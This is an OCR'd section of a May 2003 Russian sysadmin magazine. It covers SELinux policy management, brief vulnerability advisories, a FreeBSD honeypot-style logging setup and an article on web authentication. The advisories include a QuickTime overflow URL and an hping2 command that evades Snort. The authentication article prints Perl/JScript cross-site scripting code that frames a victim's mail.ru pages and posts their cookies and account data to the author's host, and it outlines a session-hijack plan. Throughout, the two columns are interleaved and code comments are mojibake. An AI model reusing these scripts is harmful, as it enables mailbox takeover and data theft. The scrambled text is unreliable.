drwxr-xr-x root root system_u:object_r:lib_t lib
drwxr-xr-x root root system_u:object_r:opt_t opt Password:
[root@grinder /]# avc_toggle
drwxr-xr-x root root system_u:object_r:file_t misc permissive
drwxr-xr-x root root system_u:object_r:file_t mnt
dr-xr-xr-x root root system_u:object_r:proc_t proc
drwxr-x--- root root system_u:object_r:sysadm_home_dir_t root Вот теперь все нормально. Но в защищенном режиме
drwxr-xr-x root root system_u:object_r:sbin_t sbin процесс, запущенный от имени суперпользователя, не
drwxrwxrwt root root system_u:object_r:tmp_t tmp
drwxr-xr-x root root system_u:object_r:usr_t usr сможет получить полный доступ, как в обычной Unix-сис-
drwxr-xr-x root root system_u:object_r:var_t var теме. После полной отладки режимов защиты, когда оп-
ределены все приложения и роли, необходимо добавить
При инсталляции SELinux владельцем всех имеющих- опцию "enforcing=1" в команде, передаваемой ядру при
ся файлов назначается ассоциативный пользователь загрузке, в этом случае всегда будет возможность вер-
system_u. Чтобы гарантировать, что файлы, созданные нуться к отладочному режиму или для обеспечения более
при перезагрузке системы, соответствующим образом по- строгой защиты лучшим вариантом будет пересобрать
мечены, желательно зайти в каталог policy и выполнить ядро без Development Support, чтобы система сразу стар-
следующие команды: товала в enforcing-режиме, (но ядро с Development Support
лучше всего все равно сохранить).
cd policy
su
make relabel Управление политикой защиты
Эта тема сама по себе очень большая, на сайте проекта
Для файлов, созданных уже после установки систе- можно найти подробную документацию по данному воп-
мы, такой пользователь будет назначаться, исходя из ре- росу, но несколько простых моментов я затрону. Все фай-
ального идентификатора пользователя в системе (точнее, лы политик устанавливаются в каталог /etc/security/selinux/
процесса, создающего файл). Так как понятие роли не- src, если по какой-либо причине там пусто, то скопируйте
применимо к файлам, а только к пользователям (процес- все из дистрибутивного каталога ./selinux/policy в /etc/

№5(6), май 2003 67


безопасность
security/selinux/src. В файле “users” определены пользо- шающее правило (allow) будет воспользоваться скриптом
ватели, признаваемые политикой защиты, чтобы систе- scripts/newrules.pl, который автоматически обработает
ма допускала пользователя к работе, он должен иметь файл журнала на предмет недопущенных операций в раз-
запись в данном файле. В каталоге file_contexts содер- решающем режиме работы системы. Например, когда я
жится информация для маркирования каждого типа про- закомментировал строки в файле apache.te, позволяющие
граммы в системе, все программы описаны в каталоге использовать домашние каталоги пользователей, в кото-
file_contexts/program. Например, в file_contexts/program/ рых размещаются их веб-страницы. И «погонял» сервер.
apache.fc содержится информация, необходимая для того, А затем:
чтобы распознавался веб-сервер Apache. Часть файла
привожу в качестве примера. [root@grinder /]# tail /var/log/messages | ./scripts/
newrules.pl allow httpd_t home_root_t:dir { getattr search
}; allow httpd_t user_home_dir_type:dir { getattr search };
/var/www/html(/.*)? system_u:object_r:httpd_sys_content_t
/var/www/mrtg(/.*)? system_u:object_r:httpd_sys_content_t
/var/www/cgi-bin(/.*)? system_u:object_r:httpd_sys_script_t Получается нечто вроде обучающегося режима. Удоб-
/usr/lib/cgi-bin(/.*)? system_u:object_r:httpd_sys_script_t но, но надо очень внимательно следить за вносимыми
/var/www/perl(/.*)? system_u:object_r:httpd_sys_script_t
/var/www/icons(/.*)? system_u:object_r:httpd_sys_content_t таким образом правилами, чтобы гарантировать, что они
/var/cache/httpd(/.*)? system_u:object_r:httpd_cache_t не расходятся с нашими целями. Но в большинстве слу-
/etc/httpd system_u:object_r:httpd_config_t
/etc/httpd/conf(/.*)? system_u:object_r:httpd_config_t чаев лучше все же будет определить новые домены
/usr/lib/apache(/.*)? system_u:object_r:httpd_modules_t и/или-типы, чем просто предоставить разрешение для су-
/usr/lib/cgi-bin/(nph-)?cgiwrap(d)?system_u:object_r:httpd_suexec_exec_t
ществующего домена и/или-типа, для того чтобы сохра-
В первой колонке с использованием регулярных вы- нить гарантию безопасности. Вы можете также находить,
ражений задаются имена файлов, а во второй содержит- что некоторые отрицания доступа не фатальны для при-
ся контекст, которым файлы соответствия должны быть менения и нет необходимости предоставления разре-
помечены, обратите внимание, что роль файлов различ- шения из-за общих целей защиты. Для того чтобы такие
на. Чтобы переметить заново файлы в случае, например, сообщения впредь не загромождали файл журнала, не-
размещения веб-сервера в другом каталоге, изменив обходимо определить его через правило 'dontaudit'. При
предварительно нужные записи, дать команду make relabel необходимости загрузки с не-SELinux ядром перед пе-
в каталоге ./selinux/policy. В подкаталоге domains содер- резагрузкой выполните команду setfiles, чтобы сбросить
жатся записи политик защиты для каждого приложения. контексты защиты файла.
В domains/program содержатся макроопределения для И хотя SELinux требует доработки, чтобы получить дей-
многих известных программ. С помощью команды make ствительно законченное решение защиты, но уже сейчас,
load можно перестроить и перезапустить политику защи- установив его, возможно создать систему с очень высоким
ты ядра для этих файлов. Так как определение всех пра- уровнем защиты, которая сможет противостоять атакующе-
вил вручную – занятие долгое и требующее серьезного му даже через уязвимость в программах, функционирую-
изучения, то самым простым способом добавить разре- щих на самых высоких уровнях системной привилегии.

68
bugtraq
DoS против RPC Endpoint Mapper Переполнение буфера
в Microsoft Windows NT/2000/XP в Apple QuickTime Player для Windows
Уязвимость обнаружена в части RPC-протокола, который Уязвимость обнаружена в Apple QuickTime Player для
используется для обмена сообщениями через TCP/IP. Уда- Windows. Удаленный пользователь может выполнить про-
ленный атакующий может аварийно завершить работу извольный код на системе целевого пользователя, когда
всех RPC-служб. целевой пользователь загружает специально сформиро-
Как сообщается, уязвимость связана с неправильной ванный URL.
обработкой некорректных сообщений в RPC Endpoint iDEFENSE сообщил, что уязвимость происходит из-за
Mapper процессе, который слушает на 135 порту. В ре- переполнения буфера в обработке QuickTime URL. Уда-
зультате удаленный пользователь может нарушить рабо- ленный пользователь может создать URL, содержащий
ту этой службы, что приведет к нарушению работы всех 400 символов, чтобы вызвать переполнение буфера и пе-
RPC-служб на уязвимой системе. резаписать EIP-регистр и выполнить произвольный код.
Уязвимость обнаружена в Windows 2000 и Windows XP. Пример:
Windows NT 4.0 уязвима к этой проблеме, но ее архитек-
тура не позволяет выпустить патч, устраняющий эту уяз- quicktime://127.0.0.1/AAAA... [with 400 'A' characters]
вимость. Microsoft оценила риск обнаруженной уязвимос-
ти как «Important». Уязвимость обнаружена в Apple QuickTime Player 5.х-6.0.

Переполнение буфера Snort Sniffer не в состоянии фиксировать


в RealOne Player и RealPlayer 8 некоторые типы пакетов в заданной
Переполнение буфера обнаружено в RealOne Player и по умолчанию конфигурации
RealPlayer 8 в библиотеке сжатия данных, используемой Уязвимость обнаружена в Snort . Сниффер не в состоя-
для обработки PNG-изображений. нии определить некоторые типы пакетов.
Удаленный пользователь может выполнить произволь- Как сообщается, в конфигурации по умолчанию
ный код. Удаленный пользователь может создать специаль- «snort.conf» удаленный пользователь может послать спе-
но сконструированный Portable Network Graphics (PNG) файл, циально обработанный пакет, который не будет обнаружен
который при загрузке целевым пользователем выполнит про- сетевым сниффером. TCP-пакет с установленным SYN, FIN
извольный код с привилегиями целевого пользователя. и ECN echo битами не будет обнаружен, если «detect_scan»
Согласно сообщению, недостаток обнаружен в RealPix установлена в stream4 препроцессоре. Пример:
компоненте RealOne Player в библиотеке сжатия данных.
Уязвимость обнаружена в RealOne Player, RealOne hping2 -t 104 -N -W -s 18245 -p 21536 -S -F -X 'IP Address'
Player v2, RealPlayer 8, RealOne Enterprise Desktop Manager,
RealOne Enterprise Desktop. Уязвимость обнаружена в Snort 1.9.1.

№5(6), май 2003 69


безопасность

ТЕХНОЛОГИИ
ПРОТОКОЛИРОВАНИЯ
HONEYPOT
В ОБЕСПЕЧЕНИИ
БЕЗОПАСНОСТИ
СЕТЕВЫХ UNIX-СИСТЕМ

70
безопасность
Honeypot – заведомо уязвимая система, настроенная ад-
министратором таким образом, чтобы изучать методы
атак хакеров на нее, собирать статистические данные или
специфическое программное обеспечение, используемое
злоумышленниками для вторжения в другие системы пе-
рехвата информации. Главным требованием для Honeypot
является то, что он должен выглядеть как абсолютно нор-
мальный сервер, скажем, в сети какой-нибудь промыш-
ленной корпорации, со всеми стандартными сервисами,
минимумом приложений, ориентированных на security,
всяческих IDS и прочих тюнинговых решений для слеже-
ния за работой пользователей системы и функционирую-
щих под ее управлением служб. При этом основная зада-
ча такого сервера – протоколирование любой сетевой и
локальной активности. Honeypot, как правило, использу-
ется только для этого, на нем не ведется реальной рабо-
ты, нет пользователей или жизненно важных сервисов. В
этой статье я хотел бы рассказать, каким образом можно
использовать технологии Honeypot для обнаружения атак,
протоколирования локальной активности пользователей
на реальных серверах без заведомо известных уязвимых
мест. Главная проблема создания такой маниакально-сле-
дящей системы безопасности в том, что очень сложно
обеспечить ее невидимость, поэтому представленное ре-
шение является неким компромиссом, позволяющим су-
щественно повысить уровень защищенности системы и
при этом получать максимум информации об атакующих.
За основу мы возьмем операционную систему
FreeBSD, одну из наиболее популярных в нашей стране,
гибкую в настройке и поддерживающую все необходимое
программное обеспечение. Большинство Unix-систем
объединяет то, что они имеют единую систему протоко-
лирования Syslog, реализация которой настолько удачна,
что ее поддержка реализована также в других системах,
например, в Windows, правда, к сожалению, не самой
фирмой-разработчиком, а сторонними энтузиастами. В
ОС Linux и FreeBSD в качестве протоколирующего серви-
са используется syslogd, который имеет ряд недостатков
и скудные возможности в конфигурировании, в частно-
сти отсутствие возможности пересылать протоколы ра-
боты служб через TCP/IP или по почте, возможности шиф-
рования передаваемых сообщений, протоколирование с
использованием баз данных (mysql). Все эти функции
реализованы в более серьезном бесплатном продукте
syslog-ng, который мы и будем использовать. В качестве
сопутствующего обеспечения будем использовать stunnel
для шифрования передаваемых системами протоколиро-
вания данных через SSL.
Данную схему можно реализовать двумя способами.
В пределах одной физической машины и в масштабе
целой сети. Рассмотрим варианты на рисунках соответ-
ственно 1 и 2.
Как видно из рисунка 1, сервер протокола отделяется
от машины с сервисами встроенными функциями опера-
ционной системы, а именно jailed-окружением (jail – тюрь-
ма). Надо заметить, что эта технология как в ОС FreeBSD,
так, впрочем, и в других системах реализована крайне
АНТОН ДАНИЛЕНКО неполно, а именно: практически нет разделения ресур-
сов между машинами (загрузка процессора, памяти и пр.).

№5(6), май 2003 71


безопасность
make depend
make all
make install DESTDIR=$D
cd etc
make distribution DESTDIR=$D –DNO_MAKEDEV_RUN
cd $D/dev
sh MAKEDEV jail
cd $D
ln –sf dev/null kernel

Если вы не делали инсталляции системы, то запустите


скрипт, представленный ниже:

#!/bin/sh
D=/JAIL/jail1
cd /usr/src
make world DESTDIR=$D
cd etc
make distribution DESTDIR=$D –DNO_MAKEDEV_RUN
cd $D/dev
sh MAKEDEV jail
cd $D
ln –sf dev/null kernel

Шаг 2. Запуск jail-машины


После того как мы установили в выбранную директорию
полностью готовую систему FreeBSD, требуется ее запу-
стить. Встроенных приложений в ОС для работы с jail нет,
поэтому я рекомендую воспользоваться утилитой jailadmin,
написанной Kirk Strauser. Выполните следующие коман-
ды для установки:

mkdir –p /usr/src/distrib/jailadmin
cd /usr/src/distrib/jailadmin
wget http://subwiki.honeypot.net/pub/Freebsd/JailAdmin/ ↵
jailadmin-1.5.tar.gz
tar xzvf jailadmin-1.5.tar.gz
./install.sh

Далее отредактируем файл конфигурации /usr/local/etc/


jailadmin.conf, он имеет следующий вид:

jaildir=/var/jailed
Хотя работа, которая ведется разработчиками FreeBSD virtual1
ip: 192.168.0.2
5.0 в этом направлении, внушает некоторый оптимизм, hostname: www.domain.com
полноценно реализована эта технология только в коммер- virtual2
ip: 192.168.0.3
ческих продуктах, таких как Virtuozzo. Обычно обе схемы hostname: www.otherdomain.com
используются одновременно. Т.е. на серверах-клиентах
рисунка 2 реализуется схема, изображенная на рисунке 1. Где /var/jailed/virtual[n] – директории, в которые мы ус-
Таким образом система протоколирования получается тановили наши jail-системы.
более защищенной. Итак, приступим к настройке. Перед стартом jail в первую очередь нужно создать
алиасы для включения IP-адресов виртуальных машин на
материнской, например так:

НАСТРОЙКА ifconfig rl0 inet alias 192.168.0.2 netmask 255.255.255.255


ifconfig rl0 inet alias 192.168.0.3 netmask 255.255.255.255

ПРОТОКОЛИРУЕМОГО СЕРВЕРА
СЕРВЕРА После этого отредактируем /var/jailed/virtual[n]/etc/
rc.conf для изменения стартовой конфигурации jail. Осо-
Шаг 1. Создание jail-машины бенно рекомендую как на мастер-машине, так и на вирту-
Если вы только что установили свежую систему (make альных машинах поменять ключи запуска inetd:
world), воспользуйтесь следующим скриптом:
hostname=”www.domain.com”
#!/bin/sh syslogd_enable=”NO”
D=/JAIL/jail1 # is do use a special mounted partition inetd_enable=”YES”
inetd_flags=”-wW –a 192.168.0.2”
mkdir –p ${D} sendmail_outbound_enable=”YES”
cd /usr/src
make hierarchy DESTDIR=$D sendmail_outbound_flags=”-q30m”
sshd_enable=”YES”
make obj

72
безопасность
Sshd впоследствии тоже следует «привязать» к конк- ./configure
ретному IP-адресу. make
make install
Смонтируем директорию /usr/ports в jail:
Отредактируем файл конфигурации /usr/local/etc/
mount –t union –o –b /usr/ports /var/jailed/virtual1/usr/ports/ stunnel/stunnel.conf:

Наша виртуальная машина готова к старту: cert = /usr/local/etc/stunnel/stunnel.pem


pid = /tmp/stunnel.pid
setuid = nobody
/usr/local/sbin/jailadmin start all setgid = nogroup
Cafile = /usr/local/etc/stunnel/certs.pem
debug = 7 # âûâîä äîïîëíèòåëüíîé èíôîðìàöèè î ðàáîòå
# stunnel (ïîñëå íàñòðîéêè ìîæíî îòêëþ÷èòü
output = stunnel.log # ôàéë âûâîäà äîïîëíèòåëüíîé èíôîðìàöèè
Шаг 3. Конфигурирование syslog-ng client = yes # ðàáîòà â êà÷åñòâå êëèåíòà
Дальнейшие действия производятся также на материнс- [5140]
accept = 5140
кой машине. Из jailed-окружения протоколы приложений connect = 192.168.0.3:5140
через специально созданный в нем сокет будут переда-
# àäðåñ è ïîðòñåðâåðà stunnel (ñåðâåðà ïðîòîêîëîâ)
ваться общему с материнской машиной syslog-ng.
Запустим stunnel:
cd /usr/ports/sysutils/syslog-ng
make && make install
cp /usr/local/etc/syslog-ng/syslog-ng.conf.sample ↵ /usr/local/sbin/stunnel
/usr/local/etc/syslog-ng/syslog-ng.conf
Для того чтобы stunnel запускался во время загрузки
В /etc/rc.conf добавляем: системы, его нужно добавить в файл /etc/rc.local.
Опционально могу порекомендовать запускать syslog-ng
syslogd_program=”/usr/local/sbin/syslog-ng”
syslogd_flags=»» и stunnel от имени непривилегированных пользователей.

Отредактируем файл конфигурации /usr/local/etc/


syslog-ng/syslog-ng.conf:

source gateway {
НАСТРОЙКА СЕРВЕРА
СЕРВЕРА
unix-dgram(«/dev/log»); # ñîçäàåì /dev/log íà
# ìàòåðèíñêîé ìàøèíå ПРОТОКОЛОВ
internal();
unix-dgram(“/var/jailed/logs/dev/log”); # ñîçäàåì
# /dev/log â jailed-îêðóæåíèè Шаг 1. Настройка stunnel
}; Процесс установки stunnel на сервере протоколов будет
destination localhost {
отличаться от примера для клиентской части только кон-
file(«/var/log/syslog-ng.all»); # äóáëèðóåì âñå фигурационным файлом. Он будет иметь вид:
# ïðîòîêîëû â ôàéë íà äèñêå
# ëîêàëüíîé ìàøèíû
}; cert = /usr/local/etc/stunnel/stunnel.pem
pid = /tmp/stunnel.pid
destination shell { setuid = nobody
tcp(«127.0.0.1» port(5140)); # ïåðåíàïðàâëÿåì âñå setgid = nogroup
# ïðîòîêîëû íà ëîêàëüíûé ïîðò Cafile = /usr/local/etc/stunnel/certs.pem
# 5140, ãäå «ñëóøàåò» stunnel debug = 7 # âûâîä äîïîëíèòåëüíîé èíôîðìàöèè î ðàáîòå
}; # stunnel (ïîñëå íàñòðîéêè ìîæíî îòêëþ÷èòü
output = stunnel.log
log { # ôàéë âûâîäà äîïîëíèòåëüíîé èíôîðìàöèè
source(gateway); destination(localhost); client = no # ðàáîòà â êà÷åñòâå êëèåíòà
source(gateway); destination(shell); [514]
}; accept = 5140
connect = 192.168.0.2:514 # àäðåñ è ïîðò êëèåíòà stunnel
Отключим стандартный syslogd:
kill `cat /var/run/syslog.pid` Шаг 2. Настройка syslog-ng
В данном случае настройка также будет отличаться от про-
Запускаем демона syslog-ng: токолируемого сервера только конфигурационным файлом.
Отредактируем /usr/local/etc/syslog-ng/syslog-ng.conf:
/usr/local/sbin/syslog-ng

source gateway {
unix-dgram(«/dev/log»); # ñîçäàåì /dev/log
Шаг 4. Настройка stunnel internal();
# íà ìàòåðèíñêîé ìàøèíå

tcp(ip(192.168.0.2) port(514) max-connections(1));


wget http://www.stunnel.org/download/stunnel/src/ ↵ };
stunnel-4.04.tar.gz
tar xzvf stunnel-4.04.tar.gz destination localhost {
cd stunnel-4.04/ file(“/var/log/syslog-ng.all”); # äóáëèðóåì âñå

№5(6), май 2003 73


безопасность
# ïðîòîêîëû â ôàéë íà äèñêå ëîêàëüíîé ìàøèíû Теперь ваша система протоколирования настроена и
}; достаточна защищена. Ее плюс в том, что скомпрометиро-
log { вав jail-сервер, злоумышленник не узнает даже о существо-
source(gateway); destination(localhost); вании сервера протоколов, не говоря уже о его IP-адресе.
};

Настройка реакции сервера


Запустим оба сервиса. Теперь у нас есть готовая связ- протоколирования на зафиксированные
ка серверов, состоящая из протоколируемого сервера в происшествия
jail-окружении и сервера протоколирования, получающе- В любой системе активного мониторинга особую роль иг-
го информацию работы приложений по tcp/ip ovel SSL. рает скорость реакции на какую-либо проблему. Для дос-
тижения наибольшей оперативности при поддержке сер-
Защита приложений на клиент-серверах вера я рекомендую включить в схему еще одно звено –
от пользователя root swatch.
Проблема нашей схемы состоит в том, что если злоумыш-
ленник получает права root в jailed-окружении, он может Шаг 1. Установка swatch
удалить как /dev/log, создаваемый syslog-ng материнской Выполните следующие команды:
машины, так и любой другой системный файл. К сожале-
нию, /dev/log защитить от удаления мы практически никак wget http://unc.dl.sourceforge.net/sourceforge/swatch/ ↵
swatch-3.0.5.tar.gz
не можем, т.к. syslog-ng должен удалять и создавать его tar xzvf swatch-3.0.5.tar.gz
заново при перезапуске. Единственное решение здесь – cd swatch-3.0.5/
wget http://cpan.org/authors/id/S/ST/STBEY/Date-Calc- ↵
это заставить приложения в обход /dev/log пересылать про- 5.3.tar.gz
токолы по tcp/ip. Для этого потребуется переписать syslog- wget http://ftp.u-picardie.fr/local/cricket/TimeDate- ↵
1.08.tar.gz
ориентированные системные функции. Для проверки ра- tar xzvf Date-Calc-5.3.tar.gz
боты нашей связки можно, скажем, раз в минуту посылать cd Date-Calc-5.3/
perl Makefile.PL
из jailed-окружения произвольное сообщение. Остальные make
же файлы можно защитить следующим образом. make test
make install
На материнской машине выполним: cd ../
tar xzvf TimeDate-1.08.tar.gz
cd TimeDate-1.08/
sysctl kern.securelevel=1 perl Makefile.PL
make
make test
Чтобы securelevel сохранялся при перезапуске маши- make install
ны, добавим в файл /etc/rc.conf: cd ../
perl Makefile.PL
make
kern_securelevel_enable="YES" make test
kern_securelevel="1" make install
make realclean
При securelevel=1 никто, даже пользователь root, не
сможет удалить с файлов immutable флаг, system append- Примечание: Date-Calc и TimeDate необходимы для
only флаг, загрузить в ядро модули и пр. работы swatch, если они уже установлены на вашей сис-
Также я рекомендую вам включить опцию kern. теме, просто пропустите этап их инсталляции.
ps_showallprocs=0, что позволит скрыть весь листинг про- Далее отредактируем конфигурационный файл /etc/
цессов системы от пользователей рангом ниже root. Од- swatch.conf:
нако это только тюнинговое решение, т.к. злоумышлен-
ник может найти запущенные процессы, просмотрев /proc.
watchfor /stunnel.*: .*Connection refused/
Чтобы сделать изменение перманентным, отредактируй- echo
те /etc/sysctl.conf: exec echo $0 | mail -s\"Ïðîáëåìà ñ stunnel\"
oncall\\@example.com
throttle 30:00
kern.ps_showallprocs=0
watchfor /attackalert:/
echo
Далее поставьте immutable флаги на все нужные вам exec echo $0 | mail -s\"Ïðåäóïðåæäåíèå îá àòàêå
portsentry\" oncall\\@example.com
файлы. Я рекомендую поставить их на все важные для throttle 5:00
нормальной работы системы бинарные файлы, использу-
watchfor /No space left on device/
емые ими библиотеки и файлы конфигурации. В нашем echo
примере мы установим флаг на файл /usr/bin/login: exec echo $0 | mail -s\"Íå õâàòàåò ñâîáîäíîãî ìåñòà íà
äèñêå\" oncall\\@example.com
throttle 30:00
chflags schg /var/jailed/virtual1/usr/bin/login
watchfor /\'su root\' failed/
echo bold
Помимо этого способа, нужно не забывать о возмож- exec echo $0 | mail -s\"Íåóäà÷íàÿ ïîïûòêà su
root\" oncall\\@example.com
ности смонтировать любую нужную директорию материн- throttle 30:00
ской машины в jail с правами root.

74
безопасность
Шаг 2. тирования одного из внешних сервисов. Также в среде
Настройка syslog-ng информационной безопасности известно множество спо-
для работы со swatch собов обеспечения как повышенного уровня безопаснос-
Чтобы настроить syslog-ng для работы со swatch, внесите ти систем, так и способов облегчения задачи их админис-
следующие изменения в его конфигурационный файл: трирования. Например, у вас есть два сервиса: web и ftp.
Соответственно, вам постоянно приходится следить за
destination swatch { обновлениями обоих продуктов. Однако многие не зна-
program("/usr/bin/swatch --read-pipe=\"cat ↵
/dev/fd/0\""); ют, что эти оба сервиса можно скрыть от Интернета и сде-
}; лать доступными через прокси-сервер, например, squid,
# ïîñûëàòü âñå ïðîòîêîëû swatch который будет как защищать сервисы, так и ускорять их
log { работу. Таким образом, вам придется следить за обнов-
source(src);
destination(swatch); лениями только одного продукта вместо двух. Что каса-
}; ется локальной безопасности, существует множество се-
рьезных решений, которые защищают систему от втор-
Чтобы запускать swatch от имени пользователя syslog: жения изнутри. Защищают нужные вам процессы, про-
граммы и данные. Для платформы Linux подойдут такие
destination swatch { решения, как gresecurity (www.grsecurity.net), lids
program("su syslog -c '/usr/bin/swatch --read- ↵
pipe=\"cat /dev/fd/0\"'"); (www.lids.org) и т. д. В BSD-системах используются реа-
}; лизации jailed-/chrooted-окружений, а также многочислен-
ные встроенные функции системы, ориентированные на
Как видно из примера, swatch легко интегрировать в безопасность. Причем эти решения, порой, настолько раз-
нашу уже работающую систему протоколирования. виты, что могут защищать систему не только от внутрен-
них, но и от внешних вторжений. Gresecurity, например,
Резюме может на лету блокировать посылаемые сервисам shell-
Как бы не была хороша и безопасна представленная сис- codes в результате переполнений буфера или других атак.
тема протоколирования, она не поможет вам ровно ни- Если вы только начинаете заниматься безопасностью ва-
чем в предотвращении вторжений/утечек информации без шей уже функционирующей в Интернете системы, можно
перманентного слежения за ее работой и обрабатывае- воспользоваться дополнительными средствами аудита,
мыми ею протоколами. Нельзя забывать, что протоколи- такими как сканеры сетевой безопасности. Результаты
рование – лишь средство экстренного оповещения, а не сканирования позволят вам сделать вывод об общем со-
панацея от всех бед. Главная же задача администратора стоянии вашего сервера, критических уязвимостях сер-
безопасности – это не допустить компрометирования си- висов и стабильности работы системы в целом. В любом
стемы как таковой. Нужно следить за появлением уязви- случае надо помнить, что с совершенствованием техно-
мостей во всех функционирующих на серверах сервисов, логий защиты, совершенствуются и автоматизируются
выходом заплаток и обновлений. Нужно тщательно про- технологии нападения. Таким образом, люди, которые,
думывать политику как внешней, так и локальной безо- порой, в своих знаниях недалеко ушли от рядовых пользо-
пасности. Даже если в системе нет валидных пользова- вателей, могут нанести существенный урон критически важ-
тельских учетных записей, необходимо предусмотреть ным данным серьезных компаний, воспользовавшись кем-
возможность получения прав в системе путем компроме- то написанными и опубликованными средствами атаки.

№5(6), май 2003 75


безопасность

СОВЕТЫ ПО БЕЗОПАСНОЙ
ВЕБ-АУТЕНТИФИКАЦИИ

ИГОРЬ ТЕТЕРИН

76
безопасность
Речь пойдет об аутентификации на сайтах. Аутентифика- ные хранятся не в голове или записной книжке клиента, а в
ция – очень важная вещь, от нее зависит безопасность все- компьютере, например в cookie. Если аутентификация про-
го вашего проекта. Если система была продумана недо- зрачна лишь в небольшом промежутке времени, либо в те-
статочно хорошо, то в случае хранения приватной инфор- чение одной сессии, то идентифицирующие данные могут
мации о проекте будут слагать истории на аналогах быть просто в памяти, если было предустановлено ПО, то
hacknet.ru о том, как получить чужие данные и управлять данные могут быть где угодно (винчестер, внешние носите-
ими. Обычные почтовые системы сколько существуют, ли и т. п.). Автоматизировать процесс получения чужих дан-
столько и исправляют свои системы аутентификации. К ных легче всего, когда они хранятся в cookie. Современные
тому же система аутентификации может содержать систе- системы аутентификации комбинируют различные методы,
му восстановления пароля, что еще больше подрывает бе- поэтому автоматизировать что-то будет очень сложно. Сис-
зопасность. На своем опыте приходилось открывать пару тема WebMoney предлагает хранить критичные данные на
ящиков именно за счет слабой системы аутентификации. дискетке. Все обычные веб-сайты хранят обычные cookies,
Не буду спорить, для новичков поломать mail.ru покажется не заставляя пользователей сильно напрягаться.
невозможным, но это не так сложно. Речь далее пойдет не
о взломе mail.ru, а о способах аутентификации и защиты Безопасность
от взлома. Самый обычный вариант аутентификации, используемый
на большинстве крупных сайтов: при входе на страницу
Способы пользователь аутентифицируется парой логин/пароль, пос-
Существует несколько стандартных способов аутентифи- ле чего создается сессия, которая ограничивается либо
кации. Но любые способы основываются на какой-либо закрытием браузера, либо временем. Сессия может при-
идентифицирующей информации. И чем меньше иденти- вязываться к IP.
фикационных данных, тем слабее защита. Например, Вы думаете тут ничего не поделать? У таких крупных
аутентификация на основе лишь имени и пароля куда систем обычно существует система восстановления паро-
опаснее, чем если к этому добавится верификация по IP- лей. А сценарий взлома, например, почтового ящика будет
адресу. Приведу несколько примеров, начиная с самого выглядеть так: посылаем жертве письмо с ссылкой на свою
слабого: страничку, либо используем Flash/Action Script->JScript:
 Отсутствие аутентификации, знание нахождения нуж-
ных данных; GetUrl(”javascript:alert(“123”);”);
 Аутентификация за счет передаваемых куков;
 Аутентификация на основе имени и пароля; При получении почты у жертвы создана сессия, в это
 Аутентификация на основе имени и пароля, IP-адреса; время жертве доступны все параметры ящика для чтения
 Аутентификация на основе имени и пароля, времени, (кроме пароля). Таким образом жертва, зайдя на вашу
IP-адреса и т. п. страницу, сама того не зная, открывает в фреймах стра-
нички с параметрами, при этом отправляя их содержи-
Такие методы сравнивать сложно, поскольку аутенти- мое вам же. Это несложно реализуется примерно следу-
фикация может проходить однажды и на определенный ющим скриптом (написанным на Perl), который вызыва-
срок, либо на каждый сеанс связи. ется из фрейма:

Удобство (äëÿ cookie)


print <<OPA;
Конечно, удобными являются те способы, которые не тре- <form action="http://yourpage.h10.ru/cgi-bin/securecheck.pl"
method="POST"
буют какого-либо ввода данных и предустановки какого- name="forma">
либо программного обеспечения. К этому мы и будем стре- <input type=hidden name=hin>
</form>
миться, но в меру разумности. Наша основная задача – <script language="jscript">
найти золотую середину, где количество аутентифициру- onload=function () {
setTimeout(
ющих действий компенсируется уровнем безопасности. function () {
Проблема создания безопасной системы в том, что необ- document.forma.hin.value=document.getElementById("oVictim"). ↵
document.cookie;
ходимо учитывать удобство, а если сделать систему очень document.forma.submit();
удобной, то это потребует снижения уровня безопасности },
100
и наоборот. Под удобством понимается количество необ- );
ходимых действий для достижения удачной аутентифика- }
</script>
ции. Тут существует несколько вариантов: <iframe src="http://www.haqued.ru" id="oVictim"></iframe>
 Ввод имени/пароля каждый раз. OPA
 Предустановка и настройка необходимого дополни- }

тельного ПО. (äëÿ ñîäåðæèìîãî)


 Знание секретного имени, например скрипта. print <<OPA;
<form action="http://yourpage.h10.ru/cgi-bin/haque.pl" ↵
 Полная прозрачность действий для клиента. method="POST" name="forma">
<input type=hidden name=mailform>
</form>
Самым удобным является последний вариант (полная <IFRAME ID="I1"></IFRAME>
<SCRIPT for=I1 event="NavigateComplete(brows)">
прозрачность), но это означает, что идентифицирующие дан-

№5(6), май 2003 77


безопасность
document.forma.mailform.value=brows.document.body.innerHTML; роткие сессии, привязанные к IP, но исключить возмож-
document.forma.submit();
</SCRIPT> ность при помощи Cross Site Scripting атаки получать до-
<SCRIPT> ступ к чувствительной информации.
I1.navigate("http://win.mail.ru/cgi-bin/userinfo");
setTimeout('I1.navigate("http://win.mail.ru/cgi-bin/ ↵ Ошибкой mail.ru является присвоение уникального
userinfo")',10000); идентификатора сессии, не зависимого от времени или
</SCRIPT>
OPA других случайных факторов. Это должно позволить полу-
} чить доступ к почте следующим образом:
Приведенные скрипты требуют доработки и подходят  нам необходимы куки жертвы;
только для некоторых версий Internet Explorer. Но вообще  идентификатор сессии, который мы можем найти в пе-
достать подобную информацию не составляет никакого ременной $ENV{'HTTP_REFERER'}, если жертва перей-
труда, достаточно проштудировать следующие сайты: дет по ссылке на нашу страницу, также необходим;
 malware.com  мы должны знать примерное время, когда жертва бу-
 pivx.com дет проверять почту.
 securityfocus.com
 packetstorm.org Затем, когда жертва заходит проверять почту, мы по-
 securitylab.ru сылаем mail.ru запрос с куками жертвы и идентифика-
 guninski.com тором. В течение получаса ящик будет в вашем распо-
 graymagic.com ряжении. Но я не утверждаю это, потому что сессия мо-
жет быть привязана к IP, и тогда все накроется медным
и вы найдете все о том, как совершается атака на чужую тазом (подмена IP-адреса – не такая простая задача).
информацию. (Врага надо знать в лицо.) Наконец, мы начинаем примерно представлять схему ра-
Рассмотрим более простой вариант аутентификации. боты идентификации.
Данный способ реализован у одного бывшего крупней-  При первоначальной аутентификации у клиента созда-
шего провайдера. Аутентификация происходит без ис- ется хэш (в куках), который зависит от: IP, времени,
пользования cookie. Это заставляет пользователей посто- начала сессии, имени, пароля.
янно вводить имя и пароль. Данная схема отбрасывает  Хэш действует на протяжении одной сессии, в тече-
огромное число возможных дыр, но при этом подобная ние получаса (время зависит от вашего проекта) и от-
схема несколько нагромождает внутренний код рутинны- сылается при каждом запросе новой страницы ваше-
ми операциями, при этом несложно допустить ошибку. го сайта. В данном случае возможна лишь аналогич-
Рассмотрим схему подписки на получение логов. Раз ная атака с mail.ru, но в составе с атакой spoofing, что
аутентификация происходит без использования куков, то реализуется несколько сложнее, и получение ответов
было бы логично сделать операцию получения логов в от сервера затруднено принципом атаки (подмена IP).
одной форме с аутентификацией, однако у провайдера
